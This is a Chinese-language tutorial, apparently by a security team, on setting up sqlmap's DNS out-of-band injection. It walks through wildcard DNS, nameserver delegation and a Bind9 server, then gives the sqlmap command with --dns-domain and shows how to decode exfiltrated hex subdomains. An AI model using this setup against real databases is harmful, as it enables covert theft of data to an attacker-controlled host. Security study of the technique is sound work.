深信服华中天慧战队:小技巧sqlmap _dns注入配置方法
字数 1199 2025-08-12 11:34:50
SQLMap DNS注入配置方法详解
一、DNS注入原理与优势
DNS注入是一种利用DNS协议进行数据外传的注入技术,特别适用于以下场景:
- 目标系统是Windows服务器(因为Windows默认会尝试解析所有域名)
- 遇到时间盲注等低速注入场景
- 需要快速获取注入结果
优势:
- 注入速度显著快于时间盲注
- 可以绕过某些网络限制
- 结果返回直观明确
二、准备工作
-
必要工具:
- SQLMap(最新版本)
- Windows盲注目标一个
- 两个可用域名(如a.com和b.com)
- 一台具有公网IP的服务器
-
域名配置:
- 域名A(如a.com):用于搭建DNS服务器
- 域名B(如b.com):作为注入目标域
三、详细配置步骤
1. 域名A配置(a.com)
- 登录域名控制面板
- 添加泛解析记录:
*.a.com A记录 → 你的服务器公网IP - 确保DNS记录已生效(可通过
ping random.a.com测试)
2. 域名B配置(b.com)
- 登录域名控制面板
- 修改DNS服务器为:
ns1.a.com ns2.a.com - 保存设置并等待生效(通常需要几分钟到几小时)
3. 服务器端配置
- 在公网服务器上安装DNS服务(如Bind9)
- 配置DNS服务监听53端口
- 确保服务器防火墙允许53端口入站流量
4. 测试DNS解析
- 在本地机器执行:
ping test.b.com - 在服务器查看DNS请求日志,确认能收到
test.b.com的解析请求
四、SQLMap执行DNS注入
1. 基本命令格式
sqlmap -u "目标URL" --dns-domain=b.com --hex
2. 关键参数说明
--dns-domain:指定用于DNS注入的域名(b.com)--hex:将返回结果进行十六进制编码传输
3. 执行过程
- SQLMap会发送包含查询结果的DNS请求
- 数据会以子域名形式发送到你的DNS服务器
- 例如:
352E362E3134.b.com(十六编码的查询结果)
- 例如:
- 服务器接收到的子域名部分即为注入结果
4. 结果解码示例
接收到的子域名:352E362E3134.b.com
解码过程:
- 去掉域名部分:
352E362E3134 - 十六进制转ASCII:
5.6.14(MySQL版本号)
五、注意事项
- 域名配置可能需要较长时间生效(最多24小时)
- 确保服务器53端口未被占用
- Windows服务器才会自动尝试解析所有域名
- 注入过程中SQLMap可能会"卡住",这是正常现象
- 可通过
Ctrl+C中断后查看已获取的结果
六、排错指南
-
DNS请求未到达服务器:
- 检查域名解析是否正确
- 确认服务器防火墙设置
- 测试
nslookup test.b.com是否返回你的服务器IP
-
SQLMap无响应:
- 确认目标存在SQL注入漏洞
- 尝试添加
--level 3或更高等级 - 检查
--dns-domain参数是否正确
-
数据解码问题:
- 确保使用
--hex参数 - 验证十六进制转换是否正确
- 确保使用
通过以上配置,可以显著提高Windows环境下SQL注入的效率,特别适合时间盲注等低速注入场景。